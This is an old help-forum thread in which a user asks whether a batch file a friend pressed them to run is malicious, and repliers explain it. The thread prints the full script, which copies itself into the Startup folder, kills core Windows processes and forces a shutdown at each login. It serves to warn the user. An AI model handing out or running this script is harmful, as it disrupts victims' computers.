evil batch file.

August 4, 2010 at 06:24:35
Specs: Windows Vista
Is this batch file evil? or is it stupid? i know nothing about them and im wondering why my mate wants me to run it so badly.

the code is:

@echo off
copy %0 "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
start "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\copy.bat"
copy %0 "C:\Program Files\Internet Explorer\en-US"
start "C:\Program Files\Internet Explorer\en-US\copy.bat"
taskkill /f /im "explorer.exe"
taskkill /f /im "taskeng.exe"
taskkill /f /im "rundll32.exe"
Shutdown /s /f /t 5


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#1
August 4, 2010 at 07:49:52
It's pretty evil, yeah.

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#2
August 4, 2010 at 17:31:01
Here's a breakdown:
@echo off

Doesn't show you what it's doing, most batch files have this at the start.

copy %0 "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

I "believe" that this is copying itself to your startup folder.

start "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\copy.bat"

Starting itself, assuming you named it copy.bat..., but you didnt, then this wont work.

copy %0 "C:\Program Files\Internet Explorer\en-US"
start "C:\Program Files\Internet Explorer\en-US\copy.bat"

Starting and copying itself again, but this time to your internet explorer folder... =/

taskkill /f /im "explorer.exe"
taskkill /f /im "taskeng.exe"
taskkill /f /im "rundll32.exe"

Shutting down essential windows components,

Shutdown /s /f /t 5

And finally, shuts down your computer.

Nice friend you have there...


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#3
August 8, 2010 at 16:26:36
Ok pretty much what is does is kill processes on your computer that are necessary for your computer to run and without them you computer will crash. Also to make it even more evil it will start every time you log into that user so really you then will have to reformat your computer for it to work again.

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#4
August 16, 2010 at 04:38:59
Evil???, Sounds like an ignorant little script kiddie who decided to read his How to batch book, well regardless, many newer models of the windows OS, stop the shutdown of explorer.exe(unless in kernel mode), the other progs dont even run as am important service at all(if at all), this "evil batch" or ignorant attempt for a script kiddie to make a "virus" is a joke

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